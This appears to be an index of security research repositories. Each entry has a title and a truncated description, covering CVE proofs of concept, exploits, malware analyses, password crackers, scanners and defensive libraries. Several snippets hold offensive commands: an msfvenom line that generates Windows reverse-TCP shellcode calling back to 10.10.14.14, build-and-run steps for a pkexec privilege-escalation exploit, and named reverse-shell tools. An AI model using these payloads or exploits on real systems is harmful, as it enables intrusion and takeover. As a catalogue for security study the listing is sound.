CVE-2026-20637-AppleSEPKeyStore-UAF

CVE-2026-20637: AppleSEPKeyStore Use-After-Free CVE-2026-20637 | Author: Johnny Franks @zeroxjf Component: AppleKeyStore Impact: An app may be able to cause unexpected system termination Description: A use after free issue was addressed with improved memory management. —Apple Security Content, iO...

CVE-2026-70481

CVE-2026-70481 Open WebUI, affected 0.5.0 through 0.10.2, patched in 0.11.0. Moderate, CVSS 5.4, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L, CWE-284 and CWE-862. In backend/openwebui/routers/channels.py the message update and delete handlers branch on the channel type, and the two branches ask...

cve-2023-20768

CVE-2023-20768 on the Samsung Galaxy M32 — a reachability study Summary. CVE-2023-20768 is a type confusion CWE-843 in MediaTek's ION allocator. I checked whether it is actually exploitable on a Samsung SM-M325F Galaxy M32, Helio G80 running the July 2022 firmware. The vulnerable code is present,...

WinDriver-EXP

PoC Repository for Vulnerable Windows Drivers This repository includes PoC exploits for vulnerabilities in Windows drivers, showcasing flaws that can result in privilege escalation, arbitrary code execution, or other security risks. Intended for research and education only. POCs Vulnerability| CV...

analyze-Exploit-CVE-2023-22518-Confluence

Exploit-CVE-2023-22518 CVE-2023-22518 in Confluence CVE-2023-22518 : This vulnerability is described as an "improper authorization vulnerability in Confluence's database and server". The flaw affects On-premises versions of Atlassian products. SETUP Set up the environment. Use the vulnerable...

CVE-2026-60137-WordPress-Core-SQL-Injection-PoC

CVE-2026-60137 — WordPress Core SQL Injection PoC Non-destructive proof-of-concept and verification harness for CVE-2026-60137 , a blind SQL injection in WordPress core WPQuery::authornotin, reachable via the REST API's authorexclude parameter. Root Cause WPQuery::getposts builds SQL by...

smugglex

Rust-powered HTTP Request Smuggling Scanner. Overview Smugglex is a security testing tool that detects HTTP Request Smuggling vulnerabilities in web applications. It tests for CL.TE, TE.CL, TE.TE, H2C, and H2 smuggling attacks, and — on HTTPS targets — speaks real HTTP/2 ALPN h2 to detect...

bugbounty_tools

bugbountytools Collection of scripts and tools used during bug bounty work. This will be the location of my automation scripts created for my own personal use, and occassionally public released Contact: For questions, comments or request make a psot to my X account not in DM and I will do what I...

trivy-plugin-kubectl

trivy-plugin-kubectl A Trivy plugin that scans the images of a kubernetes resource Install root@kitploit: $ trivy plugin install github.com/aquasecurity/trivy-plugin-kubectl $ trivy kubectl -h Usage: trivy kubectl -h,--help TYPE NAME TRIVY OPTION A Trivy plugin that scans the images of a kubernet...

trivy-plugin-attest

trivy-plugin-attest Publish SBOM attestation Install root@kitploit: $ trivy plugin install github.com/aquasecurity/trivy-plugin-attest Usage root@kitploit: A Trivy plugin that publish SBOM attestation Usage: attest flags Examples: trivy attest --type PREDICATETYPE --predicate PREDICATEPATH BLOBPA...

mouseserver-exploit

Mobile Mouse 3.6.0.4 RCE - Fix A corrected version of the Mobile Mouse 3.6.0.4 remote code execution exploit published as EDB-51010. Vulnerability CVE: CVE-2023-31902 Affected version: Mobile Mouse 3.6.0.4 Default port: TCP/9099 What Was Fixed The original exploit successfully downloads the paylo...

CVE-2026-21019-Kubernetes-CronJob-Suspended-Execution-via-Time-Manipulation

CVE-2026-21019 – Kubernetes CronJob Suspended Execution via Time Manipulation Program Code YAML + Python exploit root@kitploit: cronjobvuln.yaml - CronJob that checks current time without external validation apiVersion: batch/v1 kind: CronJob metadata: name: backup spec: schedule: "0 2 "...

trivy-module-wordpress

Trivy WoredPress Module This module provides a more in-depth investigation of Wordpress detection. Set up root@kitploit: $ tinygo build -o wordpress.wasm -scheduler=none -target=wasi --no-debug wordpress.go $ mkdir -p /.trivy/modules $ cp wordpress.wasm /.trivy/modules It is also available in GHC...

SearchIPOwner

SearchIPOwner - h3x0v3rl0rd - Example Usage: Single IP Query: root@kitploit: python3 SearchIPOwner.py 8.8.8.8 Multiple IPs from a file: root@kitploit: python3 SearchIPOwner.py iplist.txt Save to CSV: root@kitploit: python3 SearchIPOwner.py iplist.txt -csv...

pickle_exploit

PickleExploit Demonstrating Remote Code Execution Vulnerability via Pickle Serialization in ClearML 🖥️ This script was developed by h3x0v3rl0rd. This proof of concept PoC demonstrates a potential security vulnerability involving the serialization and deserialization of Python objects using the...

php-reverse-shell

php-reverse-shell...

FreePBX-Reverse-Shell-Module

FreePBX-Reverse-Shell-Module...

enyx

enyx SNMP IPV6 Enumerator Tool - n3rdh4x0r -...

Webmin1.910_exploit

Webmin 1.910 Remote Code Execution Exploit Description: This repository contains a Python 3 script designed to exploit a remote code execution vulnerability in Webmin version 1.910. The script utilizes the sessionlogin.cgi endpoint to perform authentication and deploy a reverse shell payload,...

MS08-067

MS08-067 | CVE-2008-4250 Reference: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Shellcode Generation We will use msfvenom to genarate the shellcode. root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443...

CVE-2021-4034

CVE-2021-4034 root@kitploit: sudo apt install golang-go sudo apt install gccgo-go root@kitploit: grep PRETTY /etc/os-release id gcc cve-2021-4034-poc.c -o cve-2021-4034-poc ./cve-2021-4034-poc...

samsung-q60t-exploit

Tizen exploit Description Exploit and firmware decryption script presented at Grehack 2021. Slides are available inside the slides . directory and the replay video onYoutube . Directories This repository contains three directories: exploit/: containing the v8 exploit and the kernel exploit,...

Weggli_rules_SSTIC2023

Here is a curated list of weggli queries You can read them and use them one by one, or launch them by batch: Usage: root@kitploit: $ bash dangerousfunctions.qry code.c $ bash mallocoverflow.qry -e cc sourcedir/ There is threee categories: 1. dangerous functions: such as strcpy, system, etc.. 2...

rulesfinder

rulesfinder Machine-learn password mangling rules! This tool finds efficient password mangling rules for John the Ripper or Hashcat for a given dictionary and a list of passwords. The tool is currently alpha quality. tl;dr You need the rust toolchain to build this tool. You can either directly...

autonmap

autonmap I use this script for HTB Nmap Scan :...

yealink_tools

Yealink firmware reverse engineering This repository contains some script utilities used during the reverse engineering of Yealink VOIP phones firmware. For more information about this research, please read the blogpost...

pridelocker-analysis

PrideLocker ESX encryptor analysis This repository contains resources related to the analysis made on PrideLocker and available on this blog post: https://www.synacktiv.com/publications/pridelocker-a-new-fork-of-babuk-esx-encryptor.html. an IDA Python script to deobfuscate strings embedded in the...

Radmin3-Password-Cracker

Radmin Server 3 Dumper/Cracker For more context about this tool, see https://www.synacktiv.com/publications/cracking-radmin-server-3-passwords.html ! How to use : Step 1 : Recover Radmin Server 3 user information from HKEYLOCALMACHINE\SOFTWARE\WOW6432Node\Radmin\v3.0\Server\Parameters\Radmin...

php_filter_chains_oracle_exploit

PHP filter chains: file read from error-based oracle A CLI to exploit parameters affected by the file read caused by the the error-based oracle of PHP filter chains. It can be used to leak the content of a local file when passed to vulnerable functions, such as file, hashfile, filegetcontents or...

lumina_server

About POC of an offline server for IDA Lumina feature. More details on https://www.synacktiv.com/publications/investigating-ida-lumina-feature.html Instalation Python package installation Download project and run python lumina/setup.py or pip install .. Server can also be used as a standalone...

laravel_cookie_killer

Laravel cookie killer A tool used to cypher/uncypher Laravel cookie based on python3 Prerequisites To use the tool you need to exfiltrate the APPKEY base64 value contained in the .env file contained at the root of the Laravel project. The session also has to be stored in the users cookie...

Netgear_Pwn2Own2021

Netgear R6700v3 WAN RCE - Pwn2Own 2021 This is the code used during Pwn2Own 2021 to get a remote shell on the Netgear R6700v3. Blogpost: https://synacktiv.com/publications/pwn2own-austin-2021-defeating-the-netgear-r6700v3 Requirements python3 with flask dnsmasq Usage 1. Run as root ./play.sh ifna...

HTB-Silentium-Writeup

HTB - Silentium Writeup Machine Info Name: Silentium OS: Linux Difficulty: Easy CVEs: CVE-2025-58434, CVE-2025-59528, CVE-2025-8110 Enumeration Nmap Scan root@kitploit: nmap -sC -sV -p- --min-rate 5000 -oN nmap.txt Open ports: 22 SSH, 80 HTTP Virtual Hostsstaging.silentium.htb runs Flowise 3.0.5...

mojarragadget

mojarragadget description We found a new Java gadget chain in the Mojarra Library, this repo contains 2 POC to reproduce the exploit on version 2.3 and 3.0. More information here: https://www.synacktiv.com/publications/finding-gadgets-like-its-2015-part-1.html...

nmap-farewell

nmap-farewell This tool aims to demonstrate the capabilities of the nfnetlinkqueue feature of the Linux kernel. For more in-depth information, you can read this article. Before packets are being dropped by the kernel, they are sent to this tool for further processing. If a remote peer tries to...

keebcap

Keebcap This repository contains the code associated to this article in which we talk about building a win32 keylogger that supports all languages not using input method editors. All tests were done on Windows 10 22h2. tree root@kitploit: . keylog code ├── capgks.c sample keylogger using...

mobileiron-exploit

Tabshell exploit with Kerberos authentication Adapted from The OWASSRF + TabShell exploit chain First, patch the pyprsp module to enable WSManStackVersion downgrading, and install the dependencies root@kitploit: $ git clone https://github.com/jborean93/pypsrp $ patch -p0 pyprsp.patch patching fil...

hakrevdns

hakrevdns Small, fast, simple tool for performing reverse DNS lookups en masse. You feed it IP addresses, it returns hostnames. This can be a useful way of finding domains and subdomains belonging to a company from their IP addresses. Installation root@kitploit: go install...

krustyloader-analysis

KrustyLoader Analysis This repository contains resources related to the analysis made on KrustyLoader and available on this blog post: https://www.synacktiv.com/publications/krustyloader-rust-malware-linked-to-ivanti-connectsecure-compromises. a Python script to extract and decrypt URL used by th...

IPSpinner

🔁 IPSpinner IPSpinner is a local proxy which can be used to redirect all incoming requests through different chosen providers. The purpose is to create a pass-through proxy that rotates the source IP address of each request. As an example, running a bruteforce operation through IPSpinner will hel...

rustls

Rustls is a modern TLS library written in Rust. Status Rustls is used in production at many organizations and projects. We aim to maintain reasonable API surface stability but the API may evolve as we make changes to accommodate new features or performance improvements. We have a roadmap for our...

Invoke-RunAsWithCert

Invoke-RunAsWithCert A PowerShell script to perform PKINIT authentication with the Windows API from a non domain-joined machine. Description This cmdlet creates a new logon session with the specified certificate via PKINIT. It is meant to be run on a non domain-joined VM. The cmdlet has two modes...

hexalocker-analysis

HexaLocker ransomware analysis This repository contains resources related to the analysis made on HexaLocker and available on this blog post: https://www.synacktiv.com/publications/lapsus-is-dead-long-live-hexalocker.html. a YARA rule to detect other HexaLocker samples. a list of HexaLocker hashe...

cve-2026-31900-lab

CVE-2026-31900 — Vulnerable Lab psf/black GitHub Action RCE via Insecure Regex Validation...

SQLi_Sleeps

SQLiSleeps It is a simple script that allows to find SQLi vulnerabilities, obtaining the response time greater than 20 seconds per medium and time-based injection. root@kitploit: usage: SQLiSleeps2.py -h -u URLS -d DATA -c COOKIE Realiza una petición GET a múltiples URLs con diferentes datos...

toxiproxy

Toxiproxy Toxiproxy is a framework for simulating network conditions. It's made specifically to work in testing, CI and development environments, supporting deterministic tampering with connections, but with support for randomized chaos and customization. Toxiproxy is the tool you need to prove...

horus

Project | Horus Table of Contents 🚀 About Horus ⚡ Installation and Usage Instructions ⚙️ API Configuration 🔮 Intended Features 🤝 Current Maintainers 🛠️ Contributing 📧 Contact Me 🤝 Acknowledgements 🚀 About Horus Horus is an all-in-one encompassing tool for investigations assistance, from API...

goproxy

GoProxy GoProxy is a library to create a customized HTTP/HTTPS proxy server using Go aka Golang, with several configurable settings available. The target of this project is to offer an optimized proxy server, usable with reasonable amount of traffic, yet and...

Malbait

Malbait TCP/UDP Honeypot program implemented in Perl README for malbait, 2/10/17 btw my bitcoin address is 3A7yuqBcPAcVEM59bNAVQdTCmkxRb5JRgE Here's an alternative, also for BTC, as I've been getting reports of some bitcoin wallets not supporting certain addresses:...

libvshadow

libvshadow is a library to access the Volume Shadow Snapshot VSS format. The VSS format is used by Windows, as of Vista, to maintain copies of data on a storage media volume. Project information: Status: alpha Licence: LGPL-3.0-or-later Also see: OSDFC 2012: Paper - Windowless Shadow Snapshots:...